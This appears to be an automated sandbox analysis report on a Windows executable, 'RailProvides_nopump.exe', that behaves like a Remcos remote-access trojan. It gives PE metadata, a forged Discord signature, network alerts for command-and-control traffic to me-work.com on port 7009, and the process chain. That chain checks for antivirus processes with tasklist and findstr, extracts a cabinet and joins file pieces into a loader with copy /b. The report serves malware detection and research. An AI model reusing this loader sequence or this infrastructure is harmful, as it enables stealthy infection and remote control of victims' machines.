File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.921004088422809
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J5mKIGXQxjNLiqB5Gr4Fy:HRYF5yjo923mKpkNx5G0y
MD5:	426D6D7D7BAAA0B5CE21A3B848188830
SHA1:	8021D572CCEEE10998A86FFE6F33214512A82205
SHA-256:	43607B65EDDB1B3630F12212BCFEEE696D4C1E188944098F986104E2C58F1015
SHA-512:	9DCAA55FBCAD75F3045F2CC872311A62446CFC3BA40660599BF3214A651AC846E1F2E48F5C626C1552B3C949A73EE02F6EFA1524BA9D36CA40A723DC8596455D
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.986603369893745
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RailProvides_nopump.exe
File size:	1'328'655 bytes
MD5:	5bf20e8953b3219cd4f60be10a73509f
SHA1:	c422dc032eb0a63620ddbddaac7b2d7909027a8f
SHA256:	b59cbb4dbe800b77d1dcac6e13fe722816eae5665d87d05b7c5a206430320f6b
SHA512:	2e339930fc909dbfb49985efc730f6dc09459df4a690e0aff14cc4175b7921c4ad5111fcb68287a59526bfe0981b094f19196145279beaa83aa0b9062b8b8a62
SSDEEP:	24576:Jdh/TQ8lCGwfae/DdysbyC6PW//Epzjuc/9c+OzERQqq0GIxJBv:7wSe/fby9W//EpBe+BxGIfBv
TLSH:	035533015BE0884BEEC56F3031F487A5EEF16C2119B499CF20488E9C3569B85AF597EF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...j...B...8.....

File Icon


Icon Hash:	d7dae0c8c1e6b532

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/09/2024 02:00:00 25/09/2027 01:59:59
Subject Chain	CN=Discord Inc., O=Discord Inc., L=San Francisco, S=California, C=US, SERIALNUMBER=5128862, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US
Version:	3
Thumbprint MD5:	5D2A3557A29B3D769CD29535A5E3D35D
Thumbprint SHA-1:	6C7552617E892DFCA5CEB96FA2870F4F1904820E
Thumbprint SHA-256:	77E85A01A656323340749C2D61FA129C86DA12533CAC6A4FCF2C81C9D8D63A40
Serial:	0DE9CF2E718364A0062E0D83093E34D7

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F45E4F1FD4Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F45E4F1FA2Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F45E4F1FA1Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F45E4F1D31Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F45E4F1F6F1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F45E4F1D3A3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F45E4F1D31Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0xa57e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x141c97	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0xa57e	0xa600	ad1cb41d5c8c4e64d9be45c2a53828eb	False	0.9372176204819277	data	7.808274247389122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xff000	0xf32	0x1000	129325e52ee259db4ac9fc9d6ca42656	False	0.600341796875	data	5.518522453708398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41f0	0x69ca	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.999963075105236
RT_ICON	0xfabbc	0x2318	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0012243989314336
RT_ICON	0xfced4	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.604735883424408
RT_DIALOG	0xfdffc	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfe0fc	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfe218	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfe278	0x30	data	English	United States	0.8958333333333334
RT_MANIFEST	0xfe2a8	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T10:15:37.464130+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	64689	193.26.115.39	7009	TCP
2025-01-07T10:15:39.663394+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	64705	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 10:15:18.831062078 CET	64587	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:18.835963011 CET	53	64587	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:18.836036921 CET	64587	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:18.840919971 CET	53	64587	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:19.290338993 CET	64587	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:19.295301914 CET	53	64587	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:19.295386076 CET	64587	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:36.904246092 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:36.909812927 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:36.911639929 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:36.916748047 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:36.921452045 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.420002937 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.464129925 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:37.550116062 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.554651976 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:37.559432983 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.559609890 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:37.564363956 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.904980898 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:37.906472921 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:37.911732912 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:38.994836092 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:39.042145014 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:39.045226097 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:15:39.050057888 CET	80	64705	178.237.33.50	192.168.2.5
Jan 7, 2025 10:15:39.050163984 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:15:39.050323963 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:15:39.055049896 CET	80	64705	178.237.33.50	192.168.2.5
Jan 7, 2025 10:15:39.663320065 CET	80	64705	178.237.33.50	192.168.2.5
Jan 7, 2025 10:15:39.663393974 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:15:39.677323103 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:39.682176113 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:40.501095057 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:40.505229950 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:15:40.510071993 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:15:40.662640095 CET	80	64705	178.237.33.50	192.168.2.5
Jan 7, 2025 10:15:40.662734032 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:16:10.512877941 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:16:10.514177084 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:16:10.518987894 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:16:40.565021992 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:16:40.566791058 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:16:40.571657896 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:17:10.592489004 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:17:10.594189882 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:17:10.599076986 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:17:29.012052059 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:29.495676041 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:30.198806047 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:31.498065948 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:33.995682955 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:38.835067034 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:17:40.646034956 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:17:40.648165941 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:17:40.654625893 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:17:48.496803999 CET	64705	80	192.168.2.5	178.237.33.50
Jan 7, 2025 10:18:10.665107012 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:18:10.667788029 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:18:10.672621012 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:18:40.705250025 CET	7009	64689	193.26.115.39	192.168.2.5
Jan 7, 2025 10:18:40.707397938 CET	64689	7009	192.168.2.5	193.26.115.39
Jan 7, 2025 10:18:40.712268114 CET	7009	64689	193.26.115.39	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 10:15:03.947066069 CET	60386	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:03.956187963 CET	53	60386	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:18.830409050 CET	53	57987	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:36.756628036 CET	54247	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:36.898453951 CET	53	54247	1.1.1.1	192.168.2.5
Jan 7, 2025 10:15:39.034598112 CET	61216	53	192.168.2.5	1.1.1.1
Jan 7, 2025 10:15:39.042054892 CET	53	61216	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 10:15:03.947066069 CET	192.168.2.5	1.1.1.1	0x9a8a	Standard query (0)	ecIUYmCipwWZXGGOIZYONyVhLKgCF.ecIUYmCipwWZXGGOIZYONyVhLKgCF	A (IP address)	IN (0x0001)	false
Jan 7, 2025 10:15:36.756628036 CET	192.168.2.5	1.1.1.1	0xcb07	Standard query (0)	me-work.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 10:15:39.034598112 CET	192.168.2.5	1.1.1.1	0x9809	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 10:15:03.956187963 CET	1.1.1.1	192.168.2.5	0x9a8a	Name error (3)	ecIUYmCipwWZXGGOIZYONyVhLKgCF.ecIUYmCipwWZXGGOIZYONyVhLKgCF	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 10:15:36.898453951 CET	1.1.1.1	192.168.2.5	0xcb07	No error (0)	me-work.com		193.26.115.39	A (IP address)	IN (0x0001)	false
Jan 7, 2025 10:15:39.042054892 CET	1.1.1.1	192.168.2.5	0x9809	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	64705	178.237.33.50	80	1848	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 10:15:39.050323963 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jan 7, 2025 10:15:39.663320065 CET	1171	IN	HTTP/1.1 200 OK date: Tue, 07 Jan 2025 09:15:39 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	04:14:56
Start date:	07/01/2025
Path:	C:\Users\user\Desktop\RailProvides_nopump.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RailProvides_nopump.exe"
Imagebase:	0x400000
File size:	1'328'655 bytes
MD5 hash:	5BF20E8953B3219CD4F60BE10A73509F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	04:14:57
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	04:14:57
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	04:14:59
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	04:14:59
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x5f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	04:14:59
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	04:14:59
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x5f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	04:15:00
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 361684
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	04:15:00
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Approaches
Imagebase:	0x9c0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	10
Start time:	04:15:00
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Korea" Measurement
Imagebase:	0x5f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	04:15:00
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
Wow64 process (32bit):	true
Commandline:	Propose.com U
Imagebase:	0xe40000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Target ID:	14
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x7f0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
